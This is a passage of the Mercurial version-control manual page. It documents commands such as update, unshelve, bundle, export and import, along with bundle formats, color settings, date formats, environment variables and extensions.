recurse into subrepositories

-T,–template** <TEMPLATE>**
display with template

[+] marked option can be specified multiple times

aliases: st

summary

summarize working directory state:

hg summary [--remote]

This generates a brief summary of the working directory state, including parents, branch, commit status, phase and available updates.

With the –remote option, this will check the default paths for incoming and outgoing changes. This can be time-consuming.

Returns 0 on success.

Options:

–remote
check for push and pull

aliases: sum

unshelve

restore a shelved change to the working directory:

hg unshelve [OPTION]... [[-n] SHELVED]

This command accepts an optional name of a shelved change to restore. If none is given, the most recent shelved change is used.

If a shelved change is applied successfully, the bundle that contains the shelved changes is moved to a backup location (.hg/shelve-backup).

Since you can restore a shelved change on top of an arbitrary commit, it is possible that unshelving will result in a conflict between your changes and the commits you are unshelving onto. If this occurs, you must resolve the conflict, then use –continue to complete the unshelve operation. (The bundle will not be moved until you successfully complete the unshelve.)

(Alternatively, you can use –abort to abandon an unshelve that causes a conflict. This reverts the unshelved changes, and leaves the bundle in place.)

If bare shelved change (without interactive, include and exclude option) was done on newly created branch it would restore branch information to the working directory.

After a successful unshelve, the shelved changes are stored in a backup directory. Only the N most recent backups are kept. N defaults to 10 but can be overridden using the shelve.maxbackups configuration option.

Timestamp in seconds is used to decide order of backups. More than maxbackups backups are kept, if same timestamp prevents from deciding exact order of them, for safety.

Selected changes can be unshelved with –interactive flag. The working directory is updated with the selected changes, and only the unselected changes remain shelved. Note: The whole shelve is applied to working directory first before running interactively. So, this will bring up all the conflicts between working directory and the shelve, irrespective of which changes will be unshelved.

Options:

-a, –abort
abort an incomplete unshelve operation

-c, –continue
continue an incomplete unshelve operation

-i, –interactive
use interactive mode (EXPERIMENTAL)

-k, –keep
keep shelve after unshelving

-n,–name** <NAME>**
restore shelved change with given name

-t,–tool** <VALUE>**
specify merge tool

–date* <DATE>*
set date for temporary commits (DEPRECATED)

update

update working directory (or switch revisions):

hg update [-C|-c|-m] [-d DATE] [[-r] REV]

Update the repository’s working directory to the specified changeset. If no changeset is specified, update to the tip of the current named branch and move the active bookmark (see hg help bookmarks).

Update sets the working directory’s parent revision to the specified changeset (see hg help parents).

If the changeset is not a descendant or ancestor of the working directory’s parent and there are uncommitted changes, the update is aborted. With the -c/–check option, the working directory is checked for uncommitted changes; if none are found, the working directory is updated to the specified changeset.

The -C/–clean, -c/–check, and -m/–merge options control what happens if the working directory contains uncommitted changes. At most of one of them can be specified.

  1. If no option is specified, and if the requested changeset is an ancestor or descendant of the working directory’s parent, the uncommitted changes are merged into the requested changeset and the merged result is left uncommitted. If the requested changeset is not an ancestor or descendant (that is, it is on another branch), the update is aborted and the uncommitted changes are preserved.

  2. With the -m/–merge option, the update is allowed even if the requested changeset is not an ancestor or descendant of the working directory’s parent.

  3. With the -c/–check option, the update is aborted and the uncommitted changes are preserved.

  4. With the -C/–clean option, uncommitted changes are discarded and the working directory is updated to the requested changeset.

To cancel an uncommitted merge (and lose your changes), use hg merge –abort.

Use null as the changeset to remove the working directory (like hg clone -U).

If you want to revert just one file to an older revision, use hg revert [-r REV] NAME.

See hg help dates for a list of formats valid for -d/–date.

Returns 0 on success, 1 if there are unresolved files.

Options:

-C, –clean
discard uncommitted changes (no backup)

-c, –check
require clean working directory

-m, –merge
merge uncommitted changes

-d,–date** <DATE>**
tipmost revision matching date

-r,–rev** <REV>**
revision

-t,–tool** <TOOL>**
specify merge tool

aliases: up checkout co

Change import/export

archive

create an unversioned archive of a repository revision:

hg archive [OPTION]... DEST

By default, the revision used is the parent of the working directory; use -r/–rev to specify a different revision.

The archive type is automatically detected based on file extension (to override, use -t/–type).

Examples:

  • create a zip file containing the 1.0 release:
hg archive -r 1.0 project-1.0.zip
  • create a tarball excluding .hg files:
hg archive project.tar.gz -X ".hg*"

Valid types are:

files
a directory full of files (default)

tar
tar archive, uncompressed

tbz2
tar archive, compressed using bzip2

tgz
tar archive, compressed using gzip

txz
tar archive, compressed using lzma (only in Python 3)

uzip
zip archive, uncompressed

zip
zip archive, compressed using deflate

The exact name of the destination archive or directory is given using a format string; see hg help export for details.

Each member added to an archive file has a directory prefix prepended. Use -p/–prefix to specify a format string for the prefix. The default is the basename of the archive, with suffixes removed.

Returns 0 on success.

Options:

–no-decode
do not pass files through decoders

-p,–prefix** <PREFIX>**
directory prefix for files in archive

-r,–rev** <REV>**
revision to distribute

-t,–type** <TYPE>**
type of distribution to create

-S, –subrepos
recurse into subrepositories

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

[+] marked option can be specified multiple times

bundle

create a bundle file:

hg bundle [-f] [-t BUNDLESPEC] [-a] [-r REV]... [--base REV]... FILE [DEST]...

Generate a bundle file containing data to be transferred to another repository.

To create a bundle containing all changesets, use -a/–all (or –base null). Otherwise, hg assumes the destination will have all the nodes you specify with –base parameters. Otherwise, hg will assume the repository has all the nodes in destination, or default-push/default if no destination is specified, where destination is the repositories you provide through DEST option.

You can change bundle format with the -t/–type option. See hg help bundlespec for documentation on this format. By default, the most appropriate format is used and compression defaults to bzip2.

The bundle file can then be transferred using conventional means and applied to another repository with the unbundle or pull command. This is useful when direct push and pull are not available or when exporting an entire repository is undesirable.

Applying bundles preserves all changeset contents including permissions, copy/rename information, and revision history.

Returns 0 on success, 1 if no changes found.

Options:

–exact
compute the base from the revision specified

-f, –force
run even when the destination is unrelated

-r,–rev** <REV[+]>**
a changeset intended to be added to the destination

-b,–branch** <BRANCH[+]>**
a specific branch you would like to bundle

–base* <REV[+]>*
a base changeset assumed to be available at the destination

-a, –all
bundle all changesets in the repository

-t,–type** <TYPE>**
bundle compression type to use (default: bzip2)

-e,–ssh** <CMD>**
specify ssh command to use

–remotecmd* <CMD>*
specify hg command to run on the remote side

–insecure
do not verify server certificate (ignoring web.cacerts config)

[+] marked option can be specified multiple times

export

dump the header and diffs for one or more changesets:

hg export [OPTION]... [-o OUTFILESPEC] [-r] [REV]...

Print the changeset header and diffs for one or more revisions. If no revision is given, the parent of the working directory is used.

The information shown in the changeset header is: author, date, branch name (if non-default), changeset hash, parent(s) and commit comment.

Note
hg export may generate unexpected diff output for merge changesets, as it will compare the merge changeset against its first parent only.

Output may be to a file, in which case the name of the file is given using a template string. See hg help templates. In addition to the common template keywords, the following formatting rules are supported:

%%
literal “%” character

%H
changeset hash (40 hexadecimal digits)

%N
number of patches being generated

%R
changeset revision number

%b
basename of the exporting repository

%h
short-form changeset hash (12 hexadecimal digits)

%m
first line of the commit message (only alphanumeric characters)

%n
zero-padded sequence number, starting at 1

%r
zero-padded changeset revision number

**
literal "" character

Without the -a/–text option, export will avoid generating diffs of files it detects as binary. With -a, export will generate a diff anyway, probably with undesirable results.

With -B/–bookmark changesets reachable by the given bookmark are selected.

Use the -g/–git option to generate diffs in the git extended diff format. See hg help diffs for more information.

With the –switch-parent option, the diff will be against the second parent. It can be useful to review a merge.

Template:

The following keywords are supported in addition to the common template keywords and functions. See also hg help templates.

diff
String. Diff content.

parents
List of strings. Parent nodes of the changeset.

Examples:

  • use export and import to transplant a bugfix to the current branch:
hg export -r 9353 | hg import -
  • export all the changesets between two revisions to a file with rename information:
hg export --git -r 123:150 > changes.txt
  • split outgoing changes into a series of patches with descriptive names:
hg export -r "outgoing()" -o "%n-%m.patch"

Returns 0 on success.

Options:

-B,–bookmark** <BOOKMARK>**
export changes only reachable by given bookmark

-o,–output** <FORMAT>**
print output to file with formatted name

–switch-parent
diff against the second parent

-r,–rev** <REV[+]>**
revisions to export

-a, –text
treat all files as text

-g, –git
use git extended diff format (DEFAULT: diff.git)

–binary
generate binary diffs in git mode (default)

–nodates
omit dates from diff headers

-T,–template** <TEMPLATE>**
display with template

[+] marked option can be specified multiple times

import

import an ordered set of patches:

hg import [OPTION]... PATCH...

Import a list of patches and commit them individually (unless –no-commit is specified).

To read a patch from standard input (stdin), use “-” as the patch name. If a URL is specified, the patch will be downloaded from there.

Import first applies changes to the working directory (unless –bypass is specified), import will abort if there are outstanding changes.

Use –bypass to apply and commit patches directly to the repository, without affecting the working directory. Without –exact, patches will be applied on top of the working directory parent revision.

You can import a patch straight from a mail message. Even patches as attachments work (to use the body part, it must have type text/plain or text/x-patch). From and Subject headers of email message are used as default committer and commit message. All text/plain body parts before first diff are added to the commit message.

If the imported patch was generated by hg export, user and description from patch override values from message headers and body. Values given on command line with -m/–message and -u/–user override these.

If –exact is specified, import will set the working directory to the parent of each patch before applying it, and will abort if the resulting changeset has a different ID than the one recorded in the patch. This will guard against various ways that portable patch formats and mail systems might fail to transfer Mercurial data or metadata. See hg bundle for lossless transmission.

Use –partial to ensure a changeset will be created from the patch even if some hunks fail to apply. Hunks that fail to apply will be written to a <target-file>.rej file. Conflicts can then be resolved by hand before hg commit –amend is run to update the created changeset. This flag exists to let people import patches that partially apply without losing the associated metadata (author, date, description, …).

Note
When no hunks apply cleanly, hg import –partial will create an empty changeset, importing only the patch metadata.

With -s/–similarity, hg will attempt to discover renames and copies in the patch in the same way as hg addremove.

It is possible to use external patch programs to perform the patch by setting the ui.patch configuration option. For the default internal tool, the fuzz can also be configured via patch.fuzz. See hg help config for more information about configuration files and how to use these options.

See hg help dates for a list of formats valid for -d/–date.

Examples:

  • import a traditional patch from a website and detect renames:
hg import -s 80 http://example.com/bugfix.patch
  • import a changeset from an hgweb server:
hg import https://www.mercurial-scm.org/repo/hg/rev/5ca8c111e9aa
  • import all the patches in an Unix-style mbox:
hg import incoming-patches.mbox
  • import patches from stdin:
hg import -
  • attempt to exactly restore an exported changeset (not always possible):
hg import --exact proposed-fix.patch
  • use an external tool to apply a patch which is too fuzzy for the default internal tool.

    hg import –config ui.patch=“patch –merge” fuzzy.patch

  • change the default fuzzing from 2 to a less strict 7

    hg import –config ui.fuzz=7 fuzz.patch

Returns 0 on success, 1 on partial success (see –partial).

Options:

-p,–strip** <NUM>**
directory strip option for patch. This has the same meaning as the corresponding patch option (default: 1)

-b,–base** <PATH>**
base path (DEPRECATED)

–secret
use the secret phase for committing

-e, –edit
invoke editor on commit messages

-f, –force
skip check for outstanding uncommitted changes (DEPRECATED)

–no-commit
don’t commit, just update the working directory

–bypass
apply patch without touching the working directory

–partial
commit even if some hunks fail

–exact
abort if patch would apply lossily

–prefix* <DIR>*
apply patch to subdirectory

–import-branch
use any branch information in patch (implied by –exact)

-m,–message** <TEXT>**
use text as commit message

-l,–logfile** <FILE>**
read commit message from file

-d,–date** <DATE>**
record the specified date as commit date

-u,–user** <USER>**
record the specified user as committer

-s,–similarity** <SIMILARITY>**
guess renamed files by similarity (0<=s<=100)

aliases: patch

unbundle

apply one or more bundle files:

hg unbundle [-u] FILE...

Apply one or more bundle files generated by hg bundle.

Returns 0 on success, 1 if an update has unresolved files.

Options:

-u, –update
update to new branch head if changesets were unbundled

Repository maintenance

admin::verify

verify the integrity of the repository:

hg admin::verify

Alternative UI to hg verify with a lot more control over the verification process and better error reporting.

Options:

-c,–check** <CHECK[+]>**
add a check

-o,–option** <OPTION[+]>**
pass an option to a check

[+] marked option can be specified multiple times

manifest

output the current or given revision of the project manifest:

hg manifest [-r REV]

Print a list of version controlled files for the given revision. If no revision is given, the first parent of the working directory is used, or the null revision if no revision is checked out.

With -v, print file permissions, symlink and executable bits. With –debug, print file revision hashes.

If option –all is specified, the list of all files from all revisions is printed. This includes deleted and renamed files.

Returns 0 on success.

Options:

-r,–rev** <REV>**
revision to display

–all
list files from all revisions

-T,–template** <TEMPLATE>**
display with template

recover

roll back an interrupted transaction:

hg recover

Recover from an interrupted commit or pull.

This command tries to fix the repository status after an interrupted operation. It should only be necessary when Mercurial suggests it.

Returns 0 if successful, 1 if nothing to recover or verify fails.

Options:

–verify
run hg verify after successful recover

rollback

roll back the last transaction (DANGEROUS) (DEPRECATED):

hg rollback

Please use hg commit –amend instead of rollback to correct mistakes in the last commit.

This command should be used with care. There is only one level of rollback, and there is no way to undo a rollback. It will also restore the dirstate at the time of the last transaction, losing any dirstate changes since that time. This command does not alter the working directory.

Transactions are used to encapsulate the effects of all commands that create new changesets or propagate existing changesets into a repository.

For example, the following commands are transactional, and their effects can be rolled back:

  • commit

  • import

  • pull

  • push (with this repository as the destination)

  • unbundle

To avoid permanent data loss, rollback will refuse to rollback a commit transaction if it isn’t checked out. Use –force to override this protection.

The rollback command can be entirely disabled by setting the ui.rollback configuration setting to false. If you’re here because you want to use rollback and it’s disabled, you can re-enable the command by setting ui.rollback to true.

This command is not intended for use on public repositories. Once changes are visible for pull by other users, rolling a transaction back locally is ineffective (someone else may already have pulled the changes). Furthermore, a race is possible with readers of the repository; for example an in-progress pull from the repository may fail if a rollback is performed.

Returns 0 on success, 1 if no rollback data is available.

Options:

-n, –dry-run
do not perform actions, just print output

-f, –force
ignore safety measures

verify

verify the integrity of the repository:

hg verify

Verify the integrity of the current repository.

This will perform an extensive check of the repository’s integrity, validating the hashes and checksums of each entry in the changelog, manifest, and tracked files, as well as the integrity of their crosslinks and indices.

Please see https://mercurial-scm.org/wiki/RepositoryCorruption for more information about recovery from corruption of the repository.

For an alternative UI with a lot more control over the verification process and better error reporting, try hg help admin::verify.

Returns 0 on success, 1 if errors are encountered.

Options:

–full
perform more checks (EXPERIMENTAL)

Help

config

show combined config settings from all hgrc files:

hg config [-u] [NAME]...

With no arguments, print names and values of all config items.

With one argument of the form section.name, print just the value of that config item.

With multiple arguments, print names and values of all config items with matching section names or section.names.

With –edit, start an editor on the user-level config file. With –global, edit the system-wide config file. With –local, edit the repository-level config file.

With –source, the source (filename and line number) is printed for each config item.

See hg help config for more information about config files.

–non-shared flag is used to edit .hg/hgrc-not-shared config file. This file is not shared across shares when in share-safe mode.

Template:

The following keywords are supported. See also hg help templates.

name
String. Config name.

source
String. Filename and line number where the item is defined.

value
String. Config value.

The –shared flag can be used to edit the config file of shared source repository. It only works when you have shared using the experimental share safe feature.

Returns 0 on success, 1 if NAME does not exist.

Options:

-u, –untrusted
show untrusted configuration options

–exp-all-known
show all known config option (EXPERIMENTAL)

-e, –edit
edit user config

-l, –local
edit repository config

–source
show source of configuration value

–shared
edit shared source repository config (EXPERIMENTAL)

–non-shared
edit non shared config (EXPERIMENTAL)

-g, –global
edit global config

-T,–template** <TEMPLATE>**
display with template

aliases: showconfig debugconfig

help

show help for a given topic or a help overview:

hg help [-eck] [-s PLATFORM] [TOPIC]

With no arguments, print a list of commands with short help messages.

Given a topic, extension, or command name, print help for that topic.

Returns 0 if successful.

Options:

-e, –extension
show only help for extensions

-c, –command
show only help for commands

-k, –keyword
show topics matching keyword

-s,–system** <PLATFORM[+]>**
show help for specific platform(s)

[+] marked option can be specified multiple times

version

output version and copyright information:

hg version

Template:

The following keywords are supported. See also hg help templates.

extensions
List of extensions.

ver
String. Version number.

And each entry of {extensions} provides the following sub-keywords in addition to {ver}.

bundled
Boolean. True if included in the release.

name
String. Extension name.

Options:

-T,–template** <TEMPLATE>**
display with template

Uncategorized commands

admin::chainsaw-update

pull and update to a given revision, no matter what, (EXPERIMENTAL):

hg admin::chainsaw-update [OPTION] --rev REV --source SOURCE --dest DEST

Context of application: some Continuous Integration (CI) systems, packaging or deployment tools.

Wanted end result: local repository at the given REPO_PATH, having the latest changes to the given revision and with a clean working directory updated at the given revision.

chainsaw-update pulls from one source, then updates the working directory to the given revision, overcoming anything that would stand in the way.

By default, it will:

  • clone if the local repo does not exist yet, removing any directory at the given path that would not be a Mercurial repository. The initial clone is full by default, so that clonebundles can be applied. Use the –initial-clone-minimal flag to avoid this.

  • break locks if needed, leading to possible corruption if there is a concurrent write access.

  • perform recovery actions if needed

  • revert any local modification.

  • purge unknown and ignored files.

  • go as far as to reclone if everything else failed (not implemented yet).

DO NOT use it for anything else than performing a series of unattended updates, with full exclusive repository access each time and without any other local work than running build scripts. In case the local repository is a share (see hg help share), exclusive write access to the share source is also mandatory.

It is recommended to run these commands with the HGPLAIN environment variable (see hg scripting).

Motivation: in Continuous Integration and Delivery systems (CI/CD), the occasional remnant or bogus lock are common sources of waste of time (both working time and calendar time). CI/CD scripts tend to grow with counter- measures, often done in urgency. Also, whilst it is neat to keep repositories from one job to the next (especially with large repositories), an exceptional recloning is better than missing a release deadline.

Options:

–purge-unknown
Remove unversioned files before update. Disabling this can in some cases interfere with the update.See also hg purge. (default: True)

–purge-ignored
Remove ignored files before update. Disable this for instance to reuse previous compiler object files. See also hg purge. (default: True)

–rev* <VALUE>*
revision to update to

–source* <VALUE>*
repository to clone from

–dest* <VALUE>*
repository to update to REV (possibly cloning)

–initial-clone-minimal
Pull only the prescribed revision upon initial cloning. This has the side effect of ignoring clone-bundles, which if often slower on the client side and stressful to the server than applying available clone bundles.

BUNDLE FILE FORMATS

Mercurial supports generating standalone “bundle” files that hold repository data. These “bundles” are typically saved locally and used later or exchanged between different repositories, possibly on different machines. Example commands using bundles are hg bundle and hg unbundle.

Generation of bundle files is controlled by a “bundle specification” (“bundlespec”) string. This string tells the bundle generation process how to create the bundle.

A “bundlespec” string is composed of the following elements:

type
A string denoting the bundle format to use.

compression
Denotes the compression engine to use compressing the raw bundle data.

parameters
Arbitrary key-value parameters to further control bundle generation.

A “bundlespec” string has the following formats:

<type>
The literal bundle format string is used.

<compression>-<type>
The compression engine and format are delimited by a hyphen (-).

Optional parameters follow the <type>. Parameters are URI escaped key=value pairs. Each pair is delimited by a semicolon (;). The first parameter begins after a ; immediately following the <type> value.

Available Types

The following bundle <type> strings are available:

v1
Produces a legacy “changegroup” version 1 bundle.

This format is compatible with nearly all Mercurial clients because it is the oldest. However, it has some limitations, which is why it is no longer the default for new repositories.

v1 bundles can be used with modern repositories using the “generaldelta” storage format. However, it may take longer to produce the bundle and the resulting bundle may be significantly larger than a v2 bundle.

v1 bundles can only use the gzip, bzip2, and none compression formats.

v2
Produces a version 2 bundle.

Version 2 bundles are an extensible format that can store additional repository data (such as bookmarks and phases information) and they can store data more efficiently, resulting in smaller bundles.

Version 2 bundles can also use modern compression engines, such as zstd, making them faster to compress and often smaller.

Available Compression Engines

The following bundle <compression> engines can be used:

bzip2
An algorithm that produces smaller bundles than gzip.

All Mercurial clients should support this format.

This engine will likely produce smaller bundles than gzip but will be significantly slower, both during compression and decompression.

If available, the zstd engine can yield similar or better compression at much higher speeds.

gzip
zlib compression using the DEFLATE algorithm.

All Mercurial clients should support this format. The compression algorithm strikes a reasonable balance between compression ratio and size.

none
No compression is performed.

Use this compression engine to explicitly disable compression.

The compression engines can be prepended with stream to create a streaming bundle. These are bundles that are extremely efficient to produce and consume, but do not have guaranteed compatibility with older clients.

Available Options

The following options exist:

changegroup
Include the changegroup data in the bundle (default to True).

cg.version
Select the version of the changegroup to use. Available options are : 01, 02 or 03. By default it will be automatically selected according to the current repository format.

obsolescence
Include obsolescence-markers relevant to the bundled changesets.

phases
Include phase information relevant to the bundled changesets.

revbranchcache
Include the “tags-fnodes” cache inside the bundle.

tagsfnodescache
Include the “tags-fnodes” cache inside the bundle.

Examples

v2
Produce a v2 bundle using default options, including compression.

none-v1
Produce a v1 bundle with no compression.

zstd-v2
Produce a v2 bundle with zstandard compression using default settings.

zstd-v1
This errors because zstd is not supported for v1 types.

none-streamv2
Produce a v2 streaming bundle with no compression.

zstd-v2;obsolescence=true;phases=true
Produce a v2 bundle with zstandard compression which includes obsolescence markers and phases.

COLORIZING OUTPUTS

Mercurial colorizes output from several commands.

For example, the diff command shows additions in green and deletions in red, while the status command shows modified files in magenta. Many other commands have analogous colors. It is possible to customize these colors.

To enable color (default) whenever possible use:

[ui]
color = yes

To disable color use:

[ui]
color = no

See hg help config.ui.color for details.

The default pager on Windows does not support color, so enabling the pager will effectively disable color. See hg help config.ui.paginate to disable the pager. Alternately, MSYS and Cygwin shells provide less as a pager, which can be configured to support ANSI color mode. Windows 10 natively supports ANSI color mode.

Mode

Mercurial can use various systems to display color. The supported modes are ansi, win32, and terminfo. See hg help config.color for details about how to control the mode.

Effects

Other effects in addition to color, like bold and underlined text, are also available. By default, the terminfo database is used to find the terminal codes used to change color and effect. If terminfo is not available, then effects are rendered with the ECMA-48 SGR control function (aka ANSI escape codes).

The available effects in terminfo mode are ‘blink’, ‘bold’, ‘dim’, ‘inverse’, ‘invisible’, ‘italic’, ‘standout’, and ‘underline’; in ECMA-48 mode, the options are ‘bold’, ‘inverse’, ‘italic’, and ‘underline’. How each is rendered depends on the terminal emulator. Some may not be available for a given terminal type, and will be silently ignored.

If the terminfo entry for your terminal is missing codes for an effect or has the wrong codes, you can add or override those codes in your configuration:

[color]
terminfo.dim = 

where ‘E’ is substituted with an escape character.

Labels

Text receives color effects depending on the labels that it has. Many default Mercurial commands emit labelled text. You can also define your own labels in templates using the label function, see hg help templates. In order to receive effects, labels must have a dot, such as log.secret or branch.active. A single portion of text may have more than one label. In that case, effects given to the last label will override any other effects. This includes the special “none” effect, which nullifies other effects.

Labels are normally invisible. In order to see these labels and their position in the text, use the global –color=debug option. The same anchor text may be associated to multiple labels, e.g.

[log.changeset changeset.secret|changeset: 22611:6f0a53c8f587]

The following are the default effects for some default labels. Default effects may be overridden from your configuration file:

[color]
status.modified = blue bold underline red_background
status.added = green bold
status.removed = red bold blue_background
status.deleted = cyan bold underline
status.unknown = magenta bold underline
status.ignored = black bold

# 'none' turns off all effects
status.clean = none
status.copied = none

qseries.applied = blue bold underline
qseries.unapplied = black bold
qseries.missing = red bold

diff.diffline = bold
diff.extended = cyan bold
diff.file_a = red bold
diff.file_b = green bold
diff.hunk = magenta
diff.deleted = red
diff.inserted = green
diff.changed = white
diff.tab =
diff.trailingwhitespace = bold red_background

# Blank so it inherits the style of the surrounding label
changeset.public =
changeset.draft =
changeset.secret =

resolve.unresolved = red bold
resolve.resolved = green bold

bookmarks.active = green

branches.active = none
branches.closed = black bold
branches.current = green
branches.inactive = none

tags.normal = green
tags.local = black bold

rebase.rebased = blue
rebase.remaining = red bold

shelve.age = cyan
shelve.newest = green bold
shelve.name = blue bold

histedit.remaining = red bold

Custom colors

Because there are only eight standard colors, Mercurial allows you to define color names for other color slots which might be available for your terminal type, assuming terminfo mode. For instance:

color.brightblue = 12
color.pink = 207
color.orange = 202

to set ‘brightblue’ to color slot 12 (useful for 16 color terminals that have brighter colors defined in the upper eight) and, ‘pink’ and ‘orange’ to colors in 256-color xterm’s default color cube. These defined colors may then be used as any of the pre-defined eight, including appending ‘_background’ to set the background to that color.

DATE FORMATS

Some commands allow the user to specify a date, e.g.:

  • backout, commit, import, tag: Specify the commit date.

  • log, revert, update: 2020-01-01

Many date formats are valid. Here are some examples:

  • Wed Dec 6 13:18:29 2006 (local timezone assumed)

  • Dec 6 13:18 -0600 (year assumed, time offset provided)

  • Dec 6 13:18 UTC (UTC and GMT are aliases for +0000)

  • Dec 6 (midnight)

  • 13:18 (today assumed)

  • 3:39 (3:39AM assumed)

  • 3:39pm (15:39)

  • 2006-12-06 13:18:29 (ISO 8601 format)

  • 2006-12-6 13:18

  • 2006-12-6

  • 12-6

  • 12/6

  • 12/6/6 (Dec 6 2006)

  • today (midnight)

  • yesterday (midnight)

  • now - right now

Lastly, there is Mercurial’s internal format:

  • 1165411109 0 (Wed Dec 6 13:18:29 2006 UTC)

This is the internal representation format for dates. The first number is the number of seconds since the epoch (1970-01-01 00:00 UTC). The second is the offset of the local timezone, in seconds west of UTC (negative if the timezone is east of UTC).

The log command also accepts date ranges:

  • <DATE - at or before a given date/time

  • >DATE - on or after a given date/time

  • DATE to DATE - a date range, inclusive

  • -DAYS - within a given number of days from today

DEPRECATED FEATURES

Mercurial evolves over time, some features, options, commands may be replaced by better and more secure alternatives. This topic will help you migrating your existing usage and/or configuration to newer features.

Commands

The following commands are still available but their use are not recommended:

locate

This command has been replaced by hg files.

parents

This command can be replaced by hg summary or hg log with appropriate revsets. See hg help revsets for more information.

tip

The recommended alternative is hg heads.

Options

web.allowpull
Renamed to allow-pull.

web.allow_push
Renamed to allow-push.

DIFF FORMATS

Mercurial’s default format for showing changes between two versions of a file is compatible with the unified format of GNU diff, which can be used by GNU patch and many other standard tools.

While this standard format is often enough, it does not encode the following information:

  • executable status and other permission bits

  • copy or rename information

  • changes in binary files

  • creation or deletion of empty files

Mercurial also supports the extended diff format from the git VCS which addresses these limitations. The git diff format is not produced by default because a few widespread tools still do not understand this format.

This means that when generating diffs from a Mercurial repository (e.g. with hg export), you should be careful about things like file copies and renames or other things mentioned above, because when applying a standard diff to a different repository, this extra information is lost. Mercurial’s internal operations (like push and pull) are not affected by this, because they use an internal binary format for communicating changes.

To make Mercurial produce the git extended diff format, use the –git option available for many commands, or set ‘git = True’ in the [diff] section of your configuration file. You do not need to set this option when importing diffs in this format or using them in the mq extension.

ENVIRONMENT VARIABLES

HG
Path to the ‘hg’ executable, automatically passed when running hooks, extensions or external tools. If unset or empty, this is the hg executable’s name if it’s frozen, or an executable named ‘hg’ (with %PATHEXT% [defaulting to COM/EXE/BAT/CMD] extensions on Windows) is searched.

HGEDITOR
This is the name of the editor to run when committing. See EDITOR.

(deprecated, see hg help config.ui.editor)

HGENCODING
This overrides the default locale setting detected by Mercurial. This setting is used to convert data including usernames, changeset descriptions, tag names, and branches. This setting can be overridden with the –encoding command-line option.

HGENCODINGMODE
This sets Mercurial’s behavior for handling unknown characters while transcoding user input. The default is “strict”, which causes Mercurial to abort if it can’t map a character. Other settings include “replace”, which replaces unknown characters, and “ignore”, which drops them. This setting can be overridden with the –encodingmode command-line option.

HGENCODINGAMBIGUOUS
This sets Mercurial’s behavior for handling characters with “ambiguous” widths like accented Latin characters with East Asian fonts. By default, Mercurial assumes ambiguous characters are narrow, set this variable to “wide” if such characters cause formatting problems.

HGMERGE
An executable to use for resolving merge conflicts. The program will be executed with three arguments: local file, remote file, ancestor file.

(deprecated, see hg help config.ui.merge)

HGRCPATH
A list of files or directories to search for configuration files. Item separator is “:” on Unix, “;” on Windows. If HGRCPATH is not set, platform default search path is used. If empty, only the .hg/hgrc from the current repository is read.

For each element in HGRCPATH:

  • if it’s a directory, all files ending with .rc are added

  • otherwise, the file itself will be added

HGRCSKIPREPO
When set, the .hg/hgrc from repositories are not read.

HGPLAIN
When set, this disables any configuration settings that might change Mercurial’s default output. This includes encoding, defaults, verbose mode, debug mode, quiet mode, tracebacks, and localization. This can be useful when scripting against Mercurial in the face of existing user configuration.

In addition to the features disabled by HGPLAIN=, the following values can be specified to adjust behavior:

+strictflags
Restrict parsing of command line flags.

Equivalent options set via command line flags or environment variables are not overridden.

See hg help scripting for details.

HGPLAINEXCEPT
This is a comma-separated list of features to preserve when HGPLAIN is enabled. Currently the following values are supported:

alias
Don’t remove aliases.

color
Don’t disable colored output.

i18n
Preserve internationalization.

revsetalias
Don’t remove revset aliases.

templatealias
Don’t remove template aliases.

progress
Don’t hide progress output.

Setting HGPLAINEXCEPT to anything (even an empty string) will enable plain mode.

HGUSER
This is the string used as the author of a commit. If not set, available values will be considered in this order:

  • HGUSER (deprecated)

  • configuration files from the HGRCPATH

  • EMAIL

  • interactive prompt

  • LOGNAME (with @hostname appended)

(deprecated, see hg help config.ui.username)

EMAIL
May be used as the author of a commit; see HGUSER.

LOGNAME
May be used as the author of a commit; see HGUSER.

VISUAL
This is the name of the editor to use when committing. See EDITOR.

EDITOR
Sometimes Mercurial needs to open a text file in an editor for a user to modify, for example when writing commit messages. The editor it uses is determined by looking at the environment variables HGEDITOR, VISUAL and EDITOR, in that order. The first non-empty one is chosen. If all of them are empty, the editor defaults to ‘vi’.

PYTHONPATH
This is used by Python to find imported modules and may need to be set appropriately if this Mercurial is not installed system-wide.

SAFELY REWRITING HISTORY (EXPERIMENTAL)

Obsolescence markers make it possible to mark changesets that have been deleted or superseded in a new version of the changeset.

Unlike the previous way of handling such changes, by stripping the old changesets from the repository, obsolescence markers can be propagated between repositories. This allows for a safe and simple way of exchanging mutable history and altering it after the fact. Changeset phases are respected, such that only draft and secret changesets can be altered (see hg help phases for details).

Obsolescence is tracked using “obsolescence markers”, a piece of metadata tracking which changesets have been made obsolete, potential successors for a given changeset, the moment the changeset was marked as obsolete, and the user who performed the rewriting operation. The markers are stored separately from standard changeset data can be exchanged without any of the precursor changesets, preventing unnecessary exchange of obsolescence data.

The complete set of obsolescence markers describes a history of changeset modifications that is orthogonal to the repository history of file modifications. This changeset history allows for detection and automatic resolution of edge cases arising from multiple users rewriting the same part of history concurrently.

Current feature status

This feature is still in development.

Instability

Rewriting changesets might introduce instability.

There are two main kinds of instability: orphaning and diverging.

Orphans are changesets left behind when their ancestors are rewritten. Divergence has two variants:

  • Content-divergence occurs when independent rewrites of the same changesets lead to different results.

  • Phase-divergence occurs when the old (obsolete) version of a changeset becomes public.

It is possible to prevent local creation of orphans by using the following config:

[experimental]
evolution.createmarkers = true
evolution.exchange = true

You can also enable that option explicitly:

[experimental]
evolution.createmarkers = true
evolution.exchange = true
evolution.allowunstable = true

USING ADDITIONAL FEATURES

Mercurial has the ability to add new features through the use of extensions. Extensions may add new commands, add options to existing commands, change the default behavior of commands, or implement hooks.

To enable the “foo” extension, either shipped with Mercurial or in the Python search path, create an entry for it in your configuration file, like this:

[extensions]
foo =

You may also specify the full path to an extension:

[extensions]
myfeature = ~/.hgext/myfeature.py

See hg help config for more information on configuration files.

Extensions are not loaded by default for a variety of reasons: they can increase startup overhead; they may be meant for advanced usage only; they may provide potentially dangerous abilities (such as letting you destroy or modify history); they might not be ready for prime time; or they may alter some usual behaviors of stock Mercurial. It is thus up to the user to activate extensions as needed.

To explicitly disable an extension enabled in a configuration file of broader scope, prepend its path with !:

[extensions]
# disabling extension bar residing in /path/to/extension/bar.py
bar = !/path/to/extension/bar.py
# ditto, but no path was supplied for extension baz
baz = !

disabled extensions:

acl
hooks for controlling repository access

blackbox
log repository events to a blackbox for debugging

bugzilla
hooks for integrating with the Bugzilla bug tracker

censor
erase file content at a given revision

churn
command to display statistics about repository history

